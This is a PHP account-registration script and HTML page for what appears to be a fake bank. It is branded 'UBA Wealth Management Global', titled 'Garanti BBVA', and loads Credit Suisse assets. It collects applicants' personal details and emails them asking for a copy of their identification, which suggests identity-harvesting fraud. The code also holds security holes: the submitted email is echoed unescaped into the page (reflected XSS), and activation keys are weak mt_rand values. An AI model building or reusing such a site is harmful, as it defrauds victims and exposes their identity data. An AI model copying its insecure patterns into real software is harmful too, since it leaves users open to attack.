<?php
session_start();
/**
 * @author Freddy Cross
 * @copyright 2010
 */
require ('dbconnect.php');

$activationKey =  mt_rand() . mt_rand() . mt_rand();
$accholder = mysql_real_escape_string($_POST['accholder']);
$dob = mysql_real_escape_string($_POST['dob']);
$gender = mysql_real_escape_string($_POST['gender']);
$address = mysql_real_escape_string($_POST['address']);
$city = mysql_real_escape_string($_POST['city']);
$state = mysql_real_escape_string($_POST['state']);
$country = mysql_real_escape_string($_POST['country']);
$zipcode = mysql_real_escape_string($_POST['zipcode']);
$phone = mysql_real_escape_string($_POST['phone']);
$email = mysql_real_escape_string($_POST['email']);
$fax = mysql_real_escape_string($_POST['fax']);
$form_submitt = $_POST['button'];

if ($_POST['button'] == true){

$sql = "INSERT INTO `ubwmtco9_db`.`ibank` (`id`, `status`, `username`, `password`, `email`, `activationkey`, `customernum`, `dob`, `gender`, `accholder`, `typeofid`, `expdate`, `idnum`, `phone`, `fax`, `address`, `city`, `state`, `zipcode`, `country`, `accstatus`, `startprd`, `openbal`, `acctype`, `currency`, `imglink`, `transpin`) VALUES (NULL, '', '', '', '$email', '$activationKey', '', '$dob', '$gender', '$accholder', '', '', '', '$phone', '$fax', '$address', '$city', '$state', '$zipcode', '', '', '', '', '', '', '', '')";

if (!mysql_query($sql))

  {

  die('Error: ' . mysql_error());

  }

##Send verification Email

$to      = $_POST['email'];

$subject = "New Account Notification!";

$message = "Welcome UBA Wealth Management Global!\r\rYou, or someone using your email address, has completed registration at www.uba.ubwmt.com \r\r To complete your registration, respond with a copy of your identification. \r\rIf this is an error, ignore this email and you will be removed from our mailing list.\r\rRegards,\r\r www.uba.ubwmt.com\r\r Caring for you.";

$headers = 'From: customer-care@uba.ubwmt.com' . "\r\n" .

    'Reply-To: customer-care@uba.ubwmt.com' . "\r\n" .

    'X-Mailer: PHP/' . phpversion();

mail($to, $subject, $message, $headers);

} else {

##User isn't registering, check verify code and change activation code to null, status to activated on success

$queryString = $_SERVER['QUERY_STRING'];

$query = "SELECT * FROM ibank"; 

$result = mysql_query($query) or die(mysql_error());

  while($row = mysql_fetch_array($result)){

    if ($queryString == $row["activationkey"]){

       $sql="UPDATE `ubwmtco9_db`.`ibank` SET activationkey = '', `status` = 'activated' WHERE (id = $row[id])";
	   
	   $sessemail = $row['email'];
	   $_SESSION['cemail'] = $sessemail;
	   
	   
	   header('location: verified.php');

       if (!mysql_query($sql))

  {

        die('Error: ' . mysql_error());

  }

    }

  }

}

?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><head>
<META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">
<title>Online - Garanti BBVA</title>
<link href="css/eng/loginpage.css" rel="stylesheet" type="text/css">
<link href="https://maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet">
  <meta name="viewport" content="width=device-width, initial-scale=1"/>
  
  
    <link rel="apple-touch-icon" sizes="180x180" href="../images/favicon.png">
    <link rel="icon" type="image/png" sizes="32x32" href="../images/favicon/favicon.png">
    <link rel="icon" type="image/png" sizes="16x16" href="../images/favicon/favicon.png">

    <script>
    function loadFonts(fonts, fallbackUrl) {
        var i = fonts.reverse().length,
                nua = navigator.userAgent,
                noSupport = !window.addEventListener || (nua.match(/(Android (2|3|4.0|4.1|4.2|4.3))|(Opera (Mini|Mobi))/) && !nua.match(/Chrome/)),
                loSto = {},
                styleElement,
                ref = window.document.getElementsByTagName('script')[0];

        if (noSupport) {
            styleElement = document.createElement('link');
            styleElement.setAttribute('rel', 'stylesheet');
            styleElement.setAttribute('type', 'text/css');
            styleElement.setAttribute('href', fallbackUrl);

            if (document.head !== undefined) {
                document.head.appendChild(styleElement);
            } else {
                document.getElementsByTagName('head')[0].appendChild(styleElement);
            }
        }

        try {
            loSto = localStorage || {};
        } catch(ex) {}

        styleElement = document.createElement('style');
        styleElement.rel = 'stylesheet';

        if (document.head !== undefined) {
            document.head.appendChild(styleElement);
        } else {
            ref.parentNode.insertBefore(styleElement);
        }

        function sendAjaxRequest(localStorageUrlKey, localStorageCssKey, localStorageLastModified, lastModified, woffUrl, woff2Url) {

            var url = (woff2Url && supportsWoff2()) ? woff2Url : woffUrl,
                    request = new XMLHttpRequest();

            request.open('GET', url);

            request.onload = function () {
                if (request.status >= 200 && request.status < 400) {
                    loSto[localStorageUrlKey] = url;
                    loSto[localStorageCssKey] = request.responseText;
                    loSto[localStorageLastModified] = lastModified;
                    styleElement.textContent += request.responseText;
                }
            };

            request.send();
        }

        function supportsWoff2() {
            if (!window.FontFace) {
                return false;
            }

            var f = new FontFace('t', 'url("data:application/font-woff2,") format("woff2")', {});
            f.load();

            return f.status === 'loading';
        }

        while (i--) {

            var localStoragePrefix = 'x-font-' + fonts[i].fontName,
                    localStorageUrlKey = localStoragePrefix + '-url',
                    localStorageCssKey = localStoragePrefix + '-css',
                    localStorageLastModified = localStoragePrefix + '-last-modified',
                    storedFontUrl = loSto[localStorageUrlKey],
                    storedFontCss = loSto[localStorageCssKey],
                    storedLastModified = loSto[localStorageLastModified],
                    lastModified = Date.parse(fonts[i].lastModified);

            if (storedFontCss && (storedFontUrl === fonts[i].fontWoffUrl || storedFontUrl === fonts[i].fontWoff2Url) && (storedLastModified >= lastModified)) {
                styleElement.textContent += storedFontCss;
            } else {
                sendAjaxRequest(localStorageUrlKey, localStorageCssKey, localStorageLastModified, lastModified, fonts[i].fontWoffUrl, fonts[i].fontWoff2Url);
            }

        }

    }

    loadFonts(
            [
                {
                    fontName: 'CSW01eP-Romanv3',
                    fontWoffUrl: 'https://cdn.credit-suisse.com/assets/fonts/css/CSW01eP-Romanv3.woff.css',
                    fontWoff2Url: 'https://cdn.credit-suisse.com/assets/fonts/css/CSW01eP-Romanv3.woff2.css',
                    lastModified: "2015-06-17T08:00"
                },
                {
                    fontName: 'CSW01eP-Boldv3',
                    fontWoffUrl: 'https://cdn.credit-suisse.com/assets/fonts/css/CSW01eP-Boldv3.woff.css',
                    fontWoff2Url: 'https://cdn.credit-suisse.com/assets/fonts/css/CSW01eP-Boldv3.woff2.css',
                    lastModified: "2015-06-17T08:00"
                },
                {
                    fontName: 'CSW01eP-Lightv3',
                    fontWoffUrl: 'https://cdn.credit-suisse.com/assets/fonts/css/CSW01eP-Lightv3.woff.css',
                    fontWoff2Url: 'https://cdn.credit-suisse.com/assets/fonts/css/CSW01eP-Lightv3.woff2.css',
                    lastModified: "2015-06-17T08:00"
                }
            ],
            'https://cdn.credit-suisse.com/assets/css/webfonts/CSW01eP.css'
    );
</script>

<noscript>
    <link rel="stylesheet" href="https://cdn.credit-suisse.com/assets/css/webfonts/CSW01eP.css">
</noscript>
<link rel="stylesheet" href="home.css">

	
<!--[if lte IE 8]>
	<script type="text/javascript" src="https://cdn.credit-suisse.com/etc/designs/revamp14-templating/clientlibs/head/ie8.1453383119485.js""></script><![endif]-->
<script type="text/javascript" src="https://cdn.credit-suisse.com/etc/designs/revamp14-templating/clientlibs/head/prod.1453383114170.js"></script><meta http-equiv="x-dns-prefetch-control" content="on">
    <link rel="dns-prefetch" href="//youtube.com">
    <!--[if IE 9]>
    <link rel="prefetch" href="//youtube.com">
    <![endif]-->

    
    <link rel="manifest" href="https://cdn.credit-suisse.com/assets/media/favicons/manifest.json">
     
    <meta name="msapplication-TileColor" content="#ffffff">
    <meta name="msapplication-TileImage" content="/assets/media/favicons/mstile-144x144.png">
    <meta name="msapplication-config" content="/assets/media/favicons/browserconfig.xml">
    <meta name="theme-color" content="#ffffff">
    <meta name="apple-mobile-web-app-title" content="Credit Suisse">

    <meta name="robots" content="follow, index"/>
<link href="https://plus.google.com/+creditsuisse" rel="publisher"/>
 
    <script type="text/javascript" src="https://www.credit-suisse.com/etc/DTM/dtm-live/_jcr_content/files/bfdc45f31b08a63886c9e4784bb2aaa9a04530d5/satelliteLib-5969b58a036721ea4461092ed0e040f578b47225.js"></script>
 
  
 <link href='https://fonts.googleapis.com/css?family=Exo:400,400italic,500,500italic,600,600italic,700,700italic,800,300italic,300' rel='stylesheet' type='text/css'>
<style type="text/css">
<!--
.bgstyle {
	background:#CCC;
	 
	background-color:#FFFFFF;
}
#table4 tr .loginhead strong {
	font-size: 11.5pt;
	color: #F00;
}
-->
</style>

<style>
input[type=text], select {
    width: 100%;
    padding: 12px 20px;
    margin: 8px 0;
    display: inline-block;
    border: 1px solid #7dce00;
    border-radius: 4px;
    box-sizing: border-box;
}

input[type=password], select {
    width: 100%;
    padding: 12px 20px;
    margin: 8px 0;
    display: inline-block;
    border: 1px solid #7dce00;
    border-radius: 4px;
    box-sizing: border-box;
}


input[type=submit] {
    width: 100%;
    background-color: #00798d;
    color: white;
    padding: 14px 20px;
    margin: 8px 0;
    border: none;
    border-radius: 4px;
    cursor: pointer;
}

input[type=submit]:hover {
	background-color: #00a1bc;
}


</style>
<style type="text/css">
<!--
.style6 {
	color: #FF9900;
	font-size: 12px;
}
.style8 {color: #333333}
.style9 {color: #CCCCCC}
.style10 {
	font-size: 13px;
	color: #0099FF;
}
.style11 {
	font-size: 36px;
	color: #666666;
}
.style12 {font-size: 14px}
.style13 {font-size: 11px}
.style14 {color: #999999}
.style15 {font-size: 11px; color: #666666; }
.style21 {font-size: 11px; color: #FF9900; }
.style22 {color: #FFFFFF}
.style33 {
	font-size: 12px;
	font-weight: bold;
	color: #666666;
}
.style34 {color: #666666}
.style37 {color: #999999; font-size: 11px; }
.style38 {color: #0099FF; font-size: 11px; }
.style5 {color: #000000}
#table4 tr .yes {
	border-top-width: 1px;
	border-bottom-width: 1px;
	border-top-style: solid;
	border-right-style: none;
	border-bottom-style: solid;
	border-left-style: none;
	border-top-color: #00345C;
	border-bottom-color: #00345C;
}
-->
</style>


</head>
<body topmargin="0" scroll="auto" onLoad="dp12()" >
<table width="100%" height="100%" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF">
  <tr>
    <td valign="top"><table width="100%" cellspacing="0" height="100px" cellpadding="0"  >
      <tr>
        <td class="BankBG" align="center">&nbsp;</td>
        </tr>
    </table>

      <table   width="100%" cellspacing="0"  height="20px" cellpadding="0" border="0" class="noframe-framing-table">
        <tr valign="top">
          
           
           
          <td class="top-navigation1" nowrap valign="top" > 
		    
		    
		     
             
          </td>
        </tr>
         
      </table>




<br>      <table width="100%" height="381"   cellpadding="0" cellspacing="0">
		<tr >
			  <!-- IBCOR-86 -->
			  <td align="left" style="padding-bottom:20px;"><a href="../index.html" > <img src="logo.png"  alt="" width="400" height="100"></a></td>
		</tr>
        <tr>
	    <td><table width="75%" border="0" align="center" cellpadding="0" cellspacing="0" id="table4">
        <tr>

          <td width="100%" height="25" align="center" bgcolor="#66BD48" class="questy">Thank you for registering,</td>
            </tr>
            <tr>
              <td colspan="1" valign="top"><p>&nbsp;</p>
                <table width="80%" border="0" align="center">
                <tr>
                  <td width="10%">&nbsp;</td>
                  <td align="center"><p> An email has been sent to you to confirm your registration.<?php echo $_POST['email']; ?>. </p>
<p>if message is not found in the inbox folder please check the junk or bulk mail folder.</p>
                    <p><a href="../index.html">Click here to continue</a>&nbsp;</p></td>
                  <td width="10%">&nbsp;</td>
                </tr>
              </table>
              </table>
      </td>
  </tr>
  <tr>
  <td><br><td>
  </tr>

  


<tr>
  <tr>
      <td valign="bottom">&nbsp;</td>
  </tr>


</table></td>
</tr>
</table>
<script type="text/javascript">
var sprytextfield8 = new Spry.Widget.ValidationTextField("sprytextfield8");
var spryconfirm1 = new Spry.Widget.ValidationConfirm("spryconfirm1", "email1", {isRequired:false});
var sprytextfield9 = new Spry.Widget.ValidationTextField("sprytextfield9");
</script>
</body>

</html>